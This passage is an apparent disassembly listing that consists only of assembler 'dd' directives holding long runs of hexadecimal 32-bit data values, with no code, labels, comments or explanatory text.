		dd 0BDF703FCh, 5AB9350Fh, 2F182DA2h, 0A8D0138Fh, 5D84EF6h
		dd 0DC2796Bh, 4D1CC2E5h, 3E945B21h, 0FF82582Ch,	20D249AEh
		dd 33A6D500h, 0E4850196h, 76AB0084h, 66352C5Ah,	38A0B05Bh
		dd 872D6C28h, 83884AFh,	643414C2h, 4B9A3C00h, 0CBB701F0h
		dd 0FB2C1401h, 112039D0h, 0DE4C3536h, 0D396B500h, 5AD5F5BDh
		dd 0C199826h, 26BE1807h, 0B960C0CAh, 30278Fh, 2D5061F2h
		dd 0C039092Ch, 52A1750Fh, 0A3AAC589h, 67839880h, 0D85B3D37h
		dd 804B344h, 711B9064h,	240C30C2h, 12F0C234h, 140958CCh
		dd 370E87h, 70FBD8C0h, 0B2B628A7h, 0EF5C01D0h, 947BB4D2h
		dd 5F52E06Fh, 5900BC91h, 0A33771B7h, 0D909008Eh, 32E7DA88h
		dd 49018A5Ch, 1064C56Dh, 0C5D7E3D5h, 837CB4h, 0CC1E934Ah
		dd 6D309F5Ah, 0A84B6A00h, 0BE0AC43h, 654E0274h,	4A147ED1h
		dd 0FFCDDC60h, 0EF92F8B9h, 2FDB448Ch, 10A0ED67h, 88118E19h
		dd 8C3FCA00h, 5363AEDDh, 40354E66h, 0CE7719E0h,	76B0D0C7h
		dd 0FA392F04h, 0BCC0104Fh, 0BC13B25Ch, 0D3B54058h, 475CF2D7h
		dd 23AA02B8h, 80E84F77h, 0B253B84h, 8084B12Eh, 0C75AF130h
		dd 35314E4Ch, 1B917121h, 0F02B88E4h, 0A2850042h, 86C803D4h
		dd 0B0B42D92h, 77C7B40h, 9E3107FBh, 0D9F3AD30h,	5A8E24E0h
		dd 25598306h, 0FCE90F6Fh, 0E39C222h, 11503E84h,	0B9151E00h
		dd 8DEF4A66h, 20894FDDh, 1EADAFB0h, 0D31FF000h,	39D4B5A8h
		dd 1895485Bh, 0D1F65DC0h, 65006ADBh, 0C493E26Eh, 22A5C134h
		dd 3E0008ECh, 284CF28Ch, 93CC785h, 0C92537AAh, 0EB896451h
		dd 90F8893Fh, 3E7245DCh, 3C3DA91Ah, 0F7114280h,	48168C24h
		dd 0A4A15B26h, 0FFA4044Bh, 16528845h, 7BEC05B0h, 6EA490EFh
		dd 0C4018553h, 5DD48226h, 0D4701DF7h, 13B77FE1h, 0A0BD696h
		dd 97E05BA4h, 630C20F6h, 3D010F59h, 7EAC7DAh, 202ADB76h
		dd 18BCF3D8h, 3D0EB00h,	0E47F2533h, 0B81C1F7Ch,	13EA00B1h
		dd 65BDB6C0h, 8040324Eh, 0E3C8C772h, 898F029Fh,	48CA2142h
		dd 4700A451h, 0C7AC45E7h, 0EB4C7Eh, 0CF7318C0h,	81026D8Eh
		dd 89B8ACA7h, 0E008C3h,	0D693D408h, 5050344Ch, 5FEAA664h
		dd 0E5F41000h, 12396778h, 62061211h, 81403030h,	6E0072F8h
		dd 2DE2382Ah, 3FC490h, 37638623h, 0E9DCD12Eh, 5EF298A0h
		dd 21EA9802h, 614BFE3Dh, 0A040526Ch, 30BDB062h,	46B8AA68h
		dd 0C90973ACh, 98DEF1BEh, 33594Ch, 20E242Ah, 6C4213C1h
		dd 0BBEDD600h, 3D4E2BE7h, 823B01E2h, 0DF53A607h, 0F08074C2h
		dd 89809494h, 729FF1E0h, 65270093h, 0C3F4061Ch,	5A0323BBh
		dd 5F34FF2Bh, 3A710055h, 86FADF30h, 7603C39Ch, 0EF4EFE1Ch
		dd 0A68DD03Dh, 0B6FD05C4h, 0F2D53247h, 2BDC00DCh, 0AACFA4EEh
		dd 2152121Ch, 0FD4C0C57h, 0CA00E321h, 7B282E6Ah, 2CCB4F60h
		dd 91046D6h, 8C80CFDDh,	1A79ABE9h, 3058A572h, 0ADF804E8h
		dd 0B4A87B98h, 0D1C20D80h, 0CC00AF3Dh, 0DE476215h, 1C5FAF5h
		dd 7D3BC0CDh, 30160835h, 80A46B64h, 0D8498E02h,	0A8D0AA4Ch
		dd 0EC02CCF8h, 0C45CE479h, 0C48D00FCh, 1181F89Bh, 2902BE70h
		dd 3D204794h, 766440ADh, 370813D6h, 525100D0h, 6A91F378h
		dd 792C8190h, 220C0A38h, 902CC07Eh, 5E500908h, 2491F63Eh
		dd 0D89BF4CAh, 52006F7Dh, 4CB9BF7Dh, 5152FF9h, 69413B0Eh
		dd 17B48C9Ah, 7400A572h, 0B13DAD8Dh, 9934D2AFh,	9FFE87C0h
		dd 0B5DED2ACh, 0D5C7AC40h, 5A78AB60h, 1C165F01h, 5378EFCAh
		dd 4468D048h, 702639E3h, 0EA0BD6F3h, 0E68CE85Dh, 382C04C5h
		dd 80C32717h, 37A62B1Bh, 0D0A86428h, 3B86DC16h,	9659CC4Fh
		dd 757CC8h, 0F1A42662h,	7FD07E19h, 82A3CB03h, 0C12EAD01h
		dd 0CC6CBD5Ah, 0ECC797C0h, 0B370E64Bh, 701D0205h, 0ACA28E5Ah
		dd 53928C00h, 2FAF9473h, 485E2B0Fh, 8ABD7EA2h, 84F28D9Eh
		dd 7071511h, 4126C796h,	0D446E2A4h, 3E0023B3h, 6E7AB82Eh
		dd 4EC854Ch, 534EB6EAh,	760C88EDh, 61661E00h, 41AB7AFFh
		dd 0CFCC00C4h, 0BD83AC37h, 0B0535082h, 47930790h, 45D24867h
		dd 13ECC173h, 0BCB75C11h, 898D12B9h, 2AFC50B1h,	628E1DC0h
		dd 648ACB1Dh, 0CD493CA2h, 9903B0C6h, 0DA79106Ch, 1F43A852h
		dd 5A1144F3h, 0E009F9FEh, 71D522C9h, 0C87C8090h, 3B727BFEh
		dd 3ED1C51Eh, 0CBC4EC1Eh
		dd 988C33B3h, 69C3003Ch, 5F0D1207h, 4C0037A7h, 507C7479h
		dd 0C45238h, 608EF0F7h,	102D6E53h, 0F64F9090h, 0CA36E420h
		dd 31D5006Fh, 0AA3FF8Ch, 0B40EC1D4h, 5461F54h, 0DC30655Eh
		dd 774FF3Fh, 8576A863h,	974FA262h, 1884E0C2h, 5E44059h
		dd 58B756F9h, 0EC006BDFh, 0ABFDD3CEh, 0FEE4BF8Ch, 0FC8B542Ch
		dd 0E4814C0Bh, 0BDC401F8h, 22D1A9B9h, 9F82DCAh,	434E56Bh
		dd 0FA400F9Ch, 10FE9F05h, 0D4B96000h, 2D01F779h, 42470167h
		dd 41DE35ABh, 80603C66h, 9F4A2F5Dh, 2B2A0048h, 3CC3DA2h
		dd 2C05A030h, 8B239EEDh, 4F0008E2h, 0AF2290A8h,	28912808h
		dd 54728780h, 2F4EA0h, 0DFD75A6h, 98A4579Dh, 0A1C9C109h
		dd 0AEA02040h, 1204F6D7h, 1EE626h, 61FB080Ch, 0BD71EFC6h
		dd 470534B4h, 0C44E584Bh, 0CB87A0ADh, 1517810h,	9B4127E6h
		dd 20158E0Fh, 6C0A37F9h, 9C98764Bh, 0B888C613h,	0DDEB131Fh
		dd 0B74A0008h, 1B3EF5BAh, 78AB200h, 0F93CBFF0h,	8E232E69h
		dd 71551810h, 41C05350h, 0A25634C0h, 0B82876F8h, 81AC918Ch
		dd 47D5B6Bh, 52EC201Fh,	0C315B326h, 0D73F8102h,	1BF06042h
		dd 0EEC705CEh, 0C0D2868Ch, 82BE9B74h, 349C5A79h, 56197B80h
		dd 329B91Dh, 22B54EDAh,	0F1F88A65h, 0A63E6306h,	0C4ADA59Ch
		dd 0F1EB0D0h, 4FA9C52Ah, 17D76080h, 807B1A52h, 59683230h
		dd 0E8E395BCh, 0E891D4Eh, 0AD7E823Ah, 0EB63B369h, 8FDCAEB0h
		dd 0FB63707h, 2582946Ah, 5C1CFAC5h, 0DF9EE833h,	0E9588066h
		dd 69C46AF9h, 3ED77901h, 450AFAE6h, 7B9823h, 0E1CBD27Dh
		dd 8C6FC305h, 0B813AD00h, 3B6DDA9Ch, 80189172h,	1F93D70Dh
		dd 61487C82h, 47017B05h, 0E105AA44h, 5FE1EB35h,	6F009C72h
		dd 15D72833h, 20002B79h, 62691898h, 12F5DB4Dh, 929F4FBh
		dd 444424A0h, 470C1A00h, 232BD78Ah, 0AB1100CAh,	31618D6Fh
		dd 0B84C5A98h, 1AD584CCh, 0EF7204BFh, 6A0BCD9h,	44C8229Bh
		dd 0AC3D0281h, 1FC49639h, 9085857Fh, 0C105E020h, 35225BAh
		dd 2D006064h, 0AC6DD91Bh, 76EE30Fh, 0E9FC2F5Ah,	827C909Eh
		dd 0D33E2C4Fh, 0F165A674h, 0D2E25102h, 44E45Ch,	0D5D49E63h
		dd 1567053Dh, 33285900h, 4178E95Dh, 0F7D60498h,	0A2653A8Ch
		dd 66C200ECh, 79BA7026h, 28B00530h, 0F4D95ADDh,	0BD09B5C8h
		dd 51A95B6Ah, 0D5AB004Ch, 3532FEDEh, 44001C91h,	0C7A2248Ah
		dd 111F05Eh, 7A8DC1BBh,	0C40EF54Dh, 0FF2CB02Ah,	0D008C93h
		dd 3FC84A6Fh, 4238BED9h, 98C0E4C0h, 0D300565Bh,	14AD8E47h
		dd 12318973h, 11F5FDBEh, 6054C80h, 13718339h, 82340BB0h
		dd 990078C4h, 0DAB5B41Eh, 565F7AFh, 57972140h, 0E8F0801Bh
		dd 960934D0h, 87B5AB03h, 0BB40421Ch, 0F96A8772h, 79C09440h
		dd 768D1B44h, 9AA01808h, 0E54CF9D3h, 49471B82h,	5CA4A728h
		dd 1C61E4E4h, 44CAE4F3h, 0EC6DDDA2h, 596F0204h,	7417B6AAh
		dd 40E24050h, 194BFB20h, 1B0E46F8h, 65809AAFh, 0AD60C217h
		dd 8BA8B113h, 1C0A0C88h, 0C3FCECE2h, 66835AAFh,	0D364F81Fh
		dd 0CC4F3D7Ah, 0DD370A94h, 571D8CEBh, 0A8947E80h, 44B5A8Fh
		dd 0D0079651h, 305CA253h, 0CF9451F6h, 48D300B8h, 0DFD025B4h
		dd 7D3A6D92h, 0FCCC4B5Bh, 334827F4h, 91E44840h,	568D8900h
		dd 0C275DF88h, 0C06E52FAh, 3CA03627h, 0BBAE4A72h, 3004497Eh
		dd 3E2D2C9Fh, 0B580E0A8h, 0A9B6BF6h, 0C9E11D12h, 68D3A409h
		dd 0B42CABB4h, 34644034h, 0E604C11Ah, 84EA8A0h,	0A27284F8h
		dd 80EC5468h, 2C571EAh,	0F9FEF4CCh, 480058FEh, 4B8D324Ch
		dd 96D2A878h, 0F4636018h, 9B00AE23h, 18068809h,	3C49747Bh
		dd 820035DDh, 98BD5B8Dh, 5C4BE870h, 0E1FE7C41h,	0E0FF9A4Dh
		dd 4982546h, 84F7EEBFh,	6ABCCCD8h, 0DA619500h, 0A6B8E1B3h
		dd 424503E2h, 32C4ABD7h, 7EC17DAAh, 0F986D49h, 8362C703h
		dd 0E82BD208h, 1F560A4h, 656AC847h, 21BD9055h, 0C0202F87h
		dd 324044h, 0BEC83F69h,	89F32EEBh, 0B0607700h, 5ADEE774h
		dd 2420B5AAh, 15700393h, 90DAFE2Fh, 1C05061Ch, 0D6B6E30Ah
		dd 0D4440363h, 0C8D089DCh, 0B0767BAEh, 0F8C8344Fh, 85EE94h
		dd 0FD7906FFh, 0EA6BCA78h, 2F198302h, 80B62EB7h, 967E8DFEh
		dd 499415BCh, 6198FC2Ch, 5F4F57AFh, 0DD9C6840h,	5A218Ch
		dd 72C04FB0h, 0F3196B8Ah, 8E00ECA4h, 0A5F951AFh, 0E23709h
		dd 903D563Bh, 6C53BF4Fh, 9A844Ch, 0D7312AC5h, 17F23ECh
		dd 8F376789h, 7005F20Dh, 8758881Ch, 0B3DF0148h,	3235EF72h
		dd 0C93AC872h, 1530CF00h, 0FE5C220h, 8527D500h,	18BE9DB2h
		dd 3CBB8D2h, 7F68EFFEh,	80DCB6B0h, 35856A84h, 70DD9B2Ch
		dd 522C2B04h, 6F3088h, 4443645Eh, 0C9D94116h, 0EAE89000h
		dd 0FEAB22C0h, 4FB302AAh, 0D3E2702Eh, 0E7534861h, 22B41580h
		dd 4B2C8998h, 0D821B4C6h, 0EBF38C82h, 1518E010h, 0F0A2565Ah
		dd 53ECE70Ah, 0B72A0040h, 0D3609A04h, 0BB69E501h, 6A259B8h
		dd 73578DCCh, 6C6B014Fh, 7EE447FEh, 0B48C4140h,	0E4012AB6h
		dd 702150F3h, 0ED21B422h, 6DD70F07h, 0EFBD17B1h, 2D232F4h
		dd 2964BF63h, 3052ED7Ah, 44004E71h, 0BC501A06h,	848651h
		dd 0C1A1390Bh, 488FFF2Fh, 2D2E69E6h, 3460A450h,	48BD65Bh
		dd 7F22BBE9h, 0BE8A2EFh, 0E8EC8E7Dh, 3CBCD0h, 10B36674h
		dd 0D188E8F5h, 86099600h, 8C447252h, 8F1B0F59h,	7B4314A3h
		dd 61B82CAAh, 67634C87h, 8F896350h, 0F030B65Fh,	3321F2DCh
		dd 0B579EBB1h, 0C4D001ADh, 6AFB45FAh, 1F77D420h, 35C7241h
		dd 315BE94Ah, 8CA3761Dh, 0C00B2105h, 44A4D625h,	217B46h
		dd 0D8CADDCh, 81E1098Fh, 648D5A25h, 0E9E60928h,	249049ADh
		dd 8D001307h, 5410BE66h, 0AFE7EFDh, 3BD522ABh, 5F5944CCh
		dd 420C940h, 75B6BFBh, 7284DAD1h, 0CA2212BDh, 0F0901C64h
		dd 382D2B44h, 7980998Ch, 0CA5968CEh, 0B3000A93h, 1C069675h
		dd 0D035F9h, 65727660h,	38FB953Ah, 0E616B37Eh, 28D03284h
		dd 388D9F26h, 1580FFC8h, 3F6481D0h, 8A00629Ah, 0CEF58297h
		dd 2D41290h, 15AB0720h,	0BCB84E9Fh, 0B302F417h,	4038BCE5h
		dd 51C0E093h, 94600025h, 6CFC965Fh, 70915DA9h, 82D07600h
		dd 865E41h, 0A10B4891h,	0B3FF1F7Bh, 7473B406h, 0F6D0D2F6h
		dd 3D79244Fh, 0EB23046Ch, 935A0803h, 420A27Fh, 0E1B297F2h
		dd 0AA893480h, 6C3407D1h, 92772082h, 4C56A45Bh,	0DA358842h
		dd 0B18C0078h, 0AE1252C2h, 0E50E7C04h, 0C0E757D3h, 678D64E1h
		dd 0F4CF0B3Eh, 718235C3h, 0CC5AB622h, 4F2C6578h, 3FADD1h
		dd 0B54D0AFEh, 2AA64B2h, 8DE2079h, 0AC462846h, 7A0094EEh
		dd 5DFD9AE7h, 3BF7B8h, 0BDCDC77Ch, 86CE6A93h, 3D64F502h
		dd 7ACFFB2Eh, 0B1AB0A84h, 184D221h, 2C9D475Eh, 0F306890h
		dd 0E9532BEFh, 6C797Fh,	0AA9AA02Dh, 5F04B312h, 0AF7D3EC4h
		dd 2897808Ch, 0E1FB6E61h, 6D80C028h, 0A2E403A1h, 0E1A9ECFDh
		dd 0B4AF951Eh, 0F042FA5Fh, 544409D3h, 3B8180BCh, 7116A5B3h
		dd 0D0BA9700h, 7A1A3F3Ah, 0EC480F63h, 0E6C49C1Bh, 0A1D4818Dh
		dd 0C8E81446h, 0DCC23383h, 4192F580h, 0AC1BD300h, 9688B867h
		dd 746E135Dh, 0F064E120h, 1100D4C7h, 40EEE5B9h,	9CD0C3h
		dd 0DB54189h, 45AC8A8Bh, 0B9F40701h, 2A327071h,	39796D10h
		dd 9B156113h, 60B61D0Ah, 0F6B84427h, 0BFEC007Ah, 0AB5394A7h
		dd 44008EFDh, 0CA827323h, 970DF957h, 3DBE4490h,	0B56D7000h
		dd 15B31E4Fh, 81EE2DC1h
		dd 61A2B090h, 777BC800h, 17BC0E1Dh, 4AEF0330h, 7EC78F48h
		dd 9478B3C2h, 0D4C8224Bh, 137000ACh, 5D47E469h,	32000AB1h
		dd 4EFCC001h, 0B08C6ACBh, 0E0673987h, 80402501h, 732DF869h
		dd 486D00B8h, 1D7C944h,	5AD4E328h, 4788BCB3h, 0D4AC386Bh
		dd 923E5208h, 288E95h, 0D5853740h, 16AD6BF4h, 0B0AB7E50h
		dd 36895C84h, 0E060406Fh, 56E4AAE9h, 6E12ED00h,	0C84C926Fh
		dd 0E1586744h, 0E942E09Fh, 0C200D904h, 0CFFEEF19h, 5CD5AA5h
		dd 0D7288D6Dh, 1090823Eh, 694768DEh, 48AD1AE0h,	1F681E2Fh
		dd 0FFAECB0Fh, 0A701D859h, 9B7B9A49h, 37F423C1h, 0B4BA50DBh
		dd 73B30B43h, 7D81CC78h, 0E4E233E8h, 61001E0Fh,	699F4584h
		dd 0D4EDC6h, 3D67E1B0h,	0FC93D117h, 18E73725h, 2233816Ch
		dd 0D5004D5Fh, 8EEB9EBEh, 9EB12E24h, 92AB47E0h,	75E04864h
		dd 3305C535h, 0CFE030D1h, 88F00C8Dh, 93530056h,	65B326A9h
		dd 40F28D6Ch, 0D4AB8C13h, 0BB6CC8h, 5F530F2Ah, 47634151h
		dd 9364B03h, 98FDB68Dh,	4BDC4AE1h, 0FD20C9FAh, 4821021h
		dd 0BFA55CC4h, 8D70700h, 130C7CBAh, 864A0D05h, 0FCA45F7Fh
		dd 93B3006Eh, 7019BD80h, 0C0F80B25h, 0C8F18227h, 769BA8h
		dd 864F9D4h, 0CD7D33E0h, 255A0407h, 0A110A778h,	50430E3Eh
		dd 994034h, 426CAF06h, 75EDBE85h, 328EC400h, 0E42A49E1h
		dd 5EF7ED4h, 462352Dh, 5DA580BAh, 0D914478Ah, 0A18589h
		dd 5FB6E484h, 5348788h,	0FD4AC496h, 0E00C04Bh, 12004FEEh
		dd 835A8A0Ah, 486ED34h,	0FB67498Dh, 0E4E8F2h, 0C4BEA263h
		dd 9153961Fh, 389700D0h, 706BE701h, 0AF2D9B00h,	0ABD7165Dh
		dd 35D109DCh, 7C48905Bh, 0E700D4D3h, 39FA8A94h,	0B06B6ADh
		dd 5D2628C4h, 7E984410h, 0F1CD9B00h, 7E3FE9Ch, 508829DCh
		dd 742902B0h, 9D81E9ECh, 32F18DEFh, 934100ECh, 3DC0182h
		dd 452A1CF0h, 32E07031h, 0B4B07E8Fh, 202E4045h,	0D2390D98h
		dd 788D8F00h, 0ECFA9D44h, 0F3123D28h, 0F5B87A89h, 6AA1C802h
		dd 45005CD9h, 0CBF7C45Ah, 1AB406FEh, 606B7541h,	94605445h
		dd 82FC3952h, 9CB0BC02h, 0C087E032h, 24695B5Dh,	0A5F03F88h
		dd 0EA11B064h, 4D78A7h,	0EA39189Eh, 41228409h, 26B61601h
		dd 30448573h, 0C4E25AF5h, 0D6FE2600h, 0FF715820h, 20986300h
		dd 3D4F9662h, 7A890079h, 8339BBA2h, 20B95F5Bh, 97A62F00h
		dd 0E08EA070h, 4F67075Ch, 10D5B26Fh, 8796BA3Eh,	7027C73h
		dd 2FE40E2h, 9F0FC0Ah, 0D8D02883h, 6902E00h, 0EC896BADh
		dd 0DF91C016h, 79BBCFA7h, 0F93AD90Eh, 732DA05Bh, 78057E8Dh
		dd 0CA8C5EC5h, 12DE0EA0h, 1B1880FCh, 22AB5CAh, 0D87ED593h
		dd 0A8403780h, 6B047497h, 5D0127F2h, 0FFA4488h,	79FD4184h
		dd 6C3ACE00h, 0B61C122Ah, 0DC664475h, 0ED955B40h, 24500492h
		dd 0C01AB31Fh, 5CA0DD09h, 408DE44Ah, 0DC294CF5h, 1C560C44h
		dd 0E854A3h, 39CD86Ch, 0D22D8572h, 79A4829Dh, 9AB06047h
		dd 0D32E0BD6h, 1490D0FAh, 0F4B9B55Ch, 0B6BC0227h, 8A888905h
		dd 0AA1DA9D8h, 3E118869h, 4087691Fh, 0AE4814C2h, 0E1A04A1Ch
		dd 792622E7h, 7F808CFAh, 210ED996h, 0A4F01D5h, 0F4754877h
		dd 7008D07Ah, 0E30D9800h, 0B2CA8A82h, 22200F3h,	0C589F017h
		dd 30C07062h, 0F1FDC760h, 8A97005Dh, 0FACFFFA3h, 200EC378h
		dd 801AAB3Ah, 0F36F848Bh, 4C9B60ADh, 491D85FDh,	0CB97258h
		dd 706E101Fh, 0FCC50277h, 9DF49CC8h, 82A1C640h,	0A389D000h
		dd 0ECF7C703h, 9807013Ah, 32CD7F9Ch, 0C2398055h, 0B8C82867h
		dd 98D60079h, 0BEE6ECF8h, 470F2A07h, 207D9D6Ah,	0ED7B080Ah
		dd 0C0380181h, 0E2B35C96h, 0DCC8BE22h, 19F9600Dh, 1581A36h
		dd 0FE632FB8h, 8E6E50A2h, 0EB83F1h, 1E7ED9DBh, 0D08061B4h
		dd 0FBE65861h, 0C8B14107h, 0E604202h, 114E2E3h,	824F85F4h
		dd 0C87BA10Ch, 94A13431h, 38D880F3h, 111F55C3h,	9FD1CE49h
		dd 46812500h, 2CA0A175h, 2406B6C8h, 585099E3h, 0CC041D91h
		dd 19184020h, 0BED8D5E4h, 0F71BDC00h, 0F10ED61Eh, 942F52DEh
		dd 0F40E100h, 0C93C6733h, 0ADC00300h, 6F8E5222h, 0B78009Fh
		dd 3F357EE3h, 0A2013A60h, 9795159Dh, 0D8871CB6h, 83A4B2A6h
		dd 8100744Fh, 8F47288Bh, 3D9A9D5h, 0B11A01FFh, 21005950h
		dd 1D6156BFh, 3DB7D2h, 5B0EC037h, 8EF536ADh, 90112E09h
		dd 163400A0h, 540ABC52h, 18C86Ch, 0A6969BC4h, 50F47C90h
		dd 0E3040D00h, 8AD98968h, 726B0591h, 4355A275h,	7B33090h
		dd 0DD387800h, 75DA989Ch, 79FC00B7h, 0A1CE7414h, 1801F41Bh
		dd 8A17F10Bh, 6020FB9Bh, 0F0571896h, 6B2F497Eh,	679307E9h
		dd 0FD33B854h, 0C4B6F8CFh, 8059A561h, 0C7D17C71h, 165B1C03h
		dd 0AB095DEEh, 7849DE45h, 41770093h, 10C27292h,	0A623BF4h
		dd 0A0754FE6h, 0CC997690h, 553600D0h, 2B688659h, 350EC0ECh
		dd 0C8AC3Dh, 7AFF9FEFh,	462C07F0h, 0A00C2DE3h, 0AD2F9936h
		dd 36791C0h, 409D5DBh, 5D12103Fh, 2288481h, 7CEDB310h
		dd 58ACAAh, 52F38D79h, 9F495862h, 560F825Ch, 434500DFh
		dd 21600AB2h, 33411B39h, 138C00CFh, 0E4D8FD62h,	0CA0036EBh
		dd 0ED5EE83Fh, 3074C04Eh, 8A5191EAh, 0E9C06333h, 0E8974460h
		dd 186B6416h, 2F754108h, 84A16549h, 312E079Ch, 158D9073h
		dd 1D04E8F9h, 96A12C33h, 0CE388080h, 0F3751467h, 32035C85h
		dd 6A82F423h, 240C4AE7h, 1071348h, 72DF4E1Ch, 81E04830h
		dd 2403B4E4h, 0C51998EFh, 0E1FEF09Eh, 26880667h, 0A16A509Ah
		dd 3EFCDD1Eh, 8945A6C4h, 1883E140h, 0A0EAA2E7h,	81D84F00h
		dd 0C222EBD4h, 1CF324A7h, 0A34E00A4h, 0AED0833Ch, 31200E1Fh
		dd 0A81068CAh, 0E05A6E40h, 0AC16001Ah, 0DDAD2CEBh, 4301F240h
		dd 1F6F1CBBh, 2E940DCDh, 2D07C801h, 0C810325Fh,	0B980A19Fh
		dd 0B8DA8B44h, 34D00037h, 0F2B5304Ah, 66600FFFh, 754B1D29h
		dd 2CAE0432h, 8C145B25h, 73011294h, 0FCBEEA56h,	0A02E9BFBh
		dd 7A26633Ch, 94047D1Bh, 0B0884582h, 0F69FCA0h,	0BFA4B711h
		dd 25D98801h, 0BA80E65Fh, 0A99D358h, 90796B61h,	0A0C4BD34h
		dd 0E2DF1EA1h, 8FE8C074h, 72CC9FBBh, 81873B3Ah,	44D94730h
		dd 7820CD82h, 4ABB5809h, 95262239h, 0A72A020Ch,	0C09898E2h
		dd 51E31E8h, 6740BF7Ch,	172D9978h, 0C8FC7Fh, 0A2B13580h
		dd 3473F07Eh, 39C72A01h, 48F31611h, 5F8FCC50h, 0F88B001Ah
		dd 8AE199EFh, 75002142h, 0F377B4FFh, 3059B14h, 359039CAh
		dd 79007B45h, 0F48B4A68h, 0C3DABDh, 76096CACh, 1DF5FD45h
		dd 18F9B505h, 67E0CA7Ah, 0A0B10128h, 36899D1Fh,	0B28243Bh
		dd 66905954h, 0A427F600h, 17440155h, 7A0F1F71h,	2385C042h
		dd 0AC940654h, 0D820D53Ah, 6AC7C090h, 0B4A043h,	8C873A1Fh
		dd 204252EDh, 8B7024B0h, 94017890h, 58830A09h, 718F57F0h
		dd 49182FD0h, 1003C12h,	0FB80A3C3h, 0FB438h, 0FADABCCFh
		dd 6F509868h, 858CB1C0h, 0ABB441h, 0CE2033B5h, 24F7DBDFh
		dd 0DD2CECF3h, 4745E0B0h, 3B3830h, 231D87F8h, 0ED7CDB78h
		dd 0C2552801h, 9805A008h, 0B2899040h, 349F548Eh, 0B35900B9h
		dd 0A4C76751h, 93042D24h, 4BF0C52Ah, 0EDDC8Ch, 311E118Fh
		dd 7E224CAFh, 979EB517h, 9046E809h, 0C3523Ch, 0CC78BCF5h
		dd 50974A87h, 16693767h, 1F981E70h, 1D3203DAh, 0E35AA813h
		dd 491520CFh, 0F6064B12h, 8CA1578Fh, 0F0DEA51h,	413CC1Eh
		dd 0CAF4F580h, 3252FFB4h
		dd 0A23800A8h, 0E13384EEh, 4FAE3DB6h, 6DF40D82h, 6C40D1B1h
		dd 2E09A829h, 90F07506h, 4CE7F750h, 8100C8E0h, 6A37F382h
		dd 0D8A81F0Bh, 0BC073298h, 528F61DFh, 6A92FAF0h, 0E9AB2E5Ch
		dd 1EC702DAh, 6C42A865h, 86EA7C40h, 2CA5B188h, 0CDCA634h
		dd 0ED5167F1h, 4B314500h, 585F98B4h, 0C55028F7h, 7DFD0C94h
		dd 0B129730Dh, 99E14E0Fh, 8ECAE1BDh, 9C202131h,	9BC7650h
		dd 2338111Bh, 20064005h, 7D1CB3FCh, 0D4B2302Ah,	42597B00h
		dd 27571E72h, 0A8482878h, 1D9600FCh, 74FE97F4h,	68071A2Fh
		dd 587FF38Ah, 0C2038C6h, 0AF30985Bh, 0C900CF49h, 93798AACh
		dd 7A3601D6h, 573230C0h, 9953479h, 0C375A200h, 9019CA6Fh
		dd 0DE0700B4h, 8C7628Bh, 151FF059h, 38C0854Eh, 31F490Eh
		dd 41D26Ch, 0B3DEF0CCh,	0F7057E24h, 9245D97Dh, 47BA44Eh
		dd 0B4806318h, 0F4DB30CEh, 89DC0269h, 0FE202B9Bh, 4098D8E4h
		dd 0E1303490h, 3797E8B3h, 5C22F7BDh, 81AF4B07h,	4617200Fh
		dd 6B728598h, 2137DE01h, 0E1545E43h, 11C0C1EEh,	0F5D09CEDh
		dd 1FF98BBh, 9E4CE699h,	3150ED60h, 202289h, 79A5BF0Fh
		dd 1D5ABDh, 15B5F0C8h, 72DCD67Bh, 89DD8409h, 3414015Bh
		dd 7470F337h, 2F580065h, 15865E75h, 0E13E1DA2h,	0C078D8BCh
		dd 39880F7Eh, 0E7980F6Fh, 2A5EB286h, 719A0088h,	0D99D6381h
		dd 0D2FE7D43h, 0A790ED01h, 55EE976Bh, 9F70A440h, 18F12E02h
		dd 46150AB0h, 371D40A8h, 6F095D83h, 2F82D2h, 39B90C03h
		dd 7A337938h, 20181286h, 0C82C200Ah, 74189734h,	3EA16B52h
		dd 0FC07F625h, 8473011Bh, 7BCB1A85h, 0B79ACC7Fh, 0E8CA7134h
		dd 207DD8C2h, 0C8BB21C2h, 9BCF1B00h, 0E29CDB20h, 4FF21854h
		dd 99255956h, 0D1A74E00h, 5834AF86h, 0D9E1017Fh, 9B1DC022h
		dd 35A44159h, 0E8B43031h, 0DC8CAD58h, 7B001F24h, 51D1C844h
		dd 7CEA92h, 2FC0C4Ah, 5E628E42h, 0A7484650h, 1960A10Fh
		dd 789402Dh, 960D9C4Ah,	0C0328F44h, 5A9A52A0h, 1604F5D4h
		dd 0AE17A97Bh, 0EE813C85h, 2C24B02Fh, 0E19C1FC6h, 0F0E949E4h
		dd 0A871F444h, 0CB601400h, 0C9127256h, 0E15F00A5h, 2F309439h
		dd 0ECA68203h, 0F1358901h, 0B764AA3Fh, 0AE11D8h, 218CB0FEh
		dd 9F559215h, 850AD3E4h, 7C48801Bh, 27438400h, 0C3776Ch
		dd 41B694CCh, 0F57E8BBh, 0EBE4C703h, 740D98h, 5C5BAD9h
		dd 4C3A6DE5h, 0B4F1CC00h, 995D7D9Dh, 69EA34B6h,	4FBCC029h
		dd 8A4446BBh, 75990062h, 0D7F1D968h, 0CC7CE5ADh, 4F0CB27Ah
		dd 2984460Eh, 55B00245h, 71523068h, 24DCECA0h, 0D001CB6h
		dd 33BC5887h, 4C61AEC0h, 5480B40Eh, 889404A1h, 4D4EFA00h
		dd 20AC7681h, 5D4709B4h, 0AC98E758h, 0CF48C4A2h, 8F2701F0h
		dd 34F169F5h, 1577A1F0h, 0CCB42F29h, 6D288300h,	0A39B41D3h
		dd 71F54F09h, 27880021h, 75C89AD0h, 804C0125h, 67983851h
		dd 0FC3CE5E3h, 9A00C5FEh, 42CA72B8h, 58CDAE0Ch,	0B6C09497h
		dd 291B8643h, 0F456D400h, 3D81F2B7h, 44ED098Ah,	4084DDB1h
		dd 338C83F1h, 930091C6h, 97DF1154h, 0EC3274EFh,	55460176h
		dd 372459C5h, 3196EDE0h, 0E73F840h, 0C61B1800h,	0D2664CE4h
		dd 40B92Fh, 0B15F3648h,	30940DE7h, 43FA7B80h, 0B37594h
		dd 0FDE45420h, 3A5BF0F1h, 66498E00h, 641C1A8Ch,	0F93209CEh
		dd 0E0902FCDh, 0B339225Dh, 387C0067h, 9CD56176h, 0DFC90184h
		dd 0E32ECF6Fh, 607C20D0h, 48092018h, 0F9836539h, 330F2450h
		dd 0EE9300F1h, 5490158Eh, 6400246Dh, 6B67A3DCh,	1360A5C4h
		dd 83037Fh, 0DDF0AD10h,	0F06A0ACh, 6D51AB5Bh, 1D978E1h
		dd 0E14416DBh, 816C3089h, 2F68A19h, 0B0705AD8h,	92740255h
